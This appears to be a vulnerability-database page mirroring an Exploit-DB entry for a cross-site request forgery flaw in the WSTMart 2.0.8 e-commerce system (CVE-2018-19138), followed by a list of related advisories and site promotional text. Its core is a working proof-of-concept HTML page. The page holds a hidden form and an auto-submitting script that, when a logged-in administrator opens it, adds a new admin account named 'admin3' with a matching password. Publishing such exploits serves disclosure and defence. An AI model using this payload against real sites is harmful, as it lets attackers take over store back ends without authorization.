Lucene search
K

WSTMart 2.0.8 - Cross-Site Request Forgery (Add Admin)

🗓️ 24 Dec 2018 00:00:00Reported by linfengType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

WSTMart 2.0.8 - CSRF Exploit to Add Admin Use

Related
Code
ReporterTitlePublishedViews
Family
0day.today
WSTMart 2.0.8 - Cross-Site Request Forgery (Add Admin) Vulnerability
24 Dec 201800:00
zdt
CNVD
WSTMart Cross-Site Request Forgery Vulnerability
13 Nov 201800:00
cnvd
CVE
CVE-2018-19138
9 Nov 201821:00
cve
Cvelist
CVE-2018-19138
9 Nov 201821:00
cvelist
EUVD
EUVD-2018-10850
7 Oct 202500:30
euvd
exploitpack
WSTMart 2.0.8 - Cross-Site Request Forgery (Add Admin)
24 Dec 201800:00
exploitpack
NVD
CVE-2018-19138
9 Nov 201821:29
nvd
OSV
CVE-2018-19138
9 Nov 201821:29
osv
Packet Storm
WSTMart 2.0.8 Cross Site Request Forgery
24 Dec 201800:00
packetstorm
Prion
Cross site request forgery (csrf)
9 Nov 201821:29
prion
Rows per page
# Exploit Title:  WSTMart 2.0.8 - Cross-Site Request Forgery (Add Admin)
# Date: 2018-12-23
# Exploit Author: linfeng
# Vendor Homepage:https://github.com/wstmall/wstmart/
# Software Link:http://www.wstmart.net/
# Version:  WSTMart 2.0.8_181212  
# CVE :CVE-2018-19138

# 0x02 CSRF PoC
# 18/5000
# Function point: background management - staff management - login account
# poc:
# 1234.html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
 <title>Document</title>
</head>
<body>
	<form action="http://xx.xx.xx.xx/st/wstmart_v2.0.8_181212/index.php/admin/staffs/add.html" id="test" name='test' method="POST">
		<input type="hidden" name='staffId' value="" />
		<input type="hidden" name='loginName' value="" />
		<input type="hidden" name='staffPhoto' value="" />
		<input type="hidden" name='loginPwd' value="" />
		<input type="hidden" name='staffName' value="" />
		<input type="hidden" name='staffNo' value="" />  
		<input type="hidden" name='RoleId' value="" />
		<input type="hidden" name='staffPhone' value="" />
		<input type="hidden" name='wxOpenId' value="" />
		<input type="hidden" name='workStatus' value="" />
		<input type="hidden" name='staffStatus' value="" />
	</form>

<script type="text/javascript">
test.staffId.value="0";
test.loginName.value="admin3";
test.staffPhoto.value="";  
test.loginPwd.value="admin3";
test.staffName.value="admin3";
test.staffNo.value=""; 
test.RoleId.value="0";
test.staffPhone.value="";
test.wxOpenId.value="";
test.workStatus.value="1";
test.staffStatus.value="1";
test.submit();
</script>
</body>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation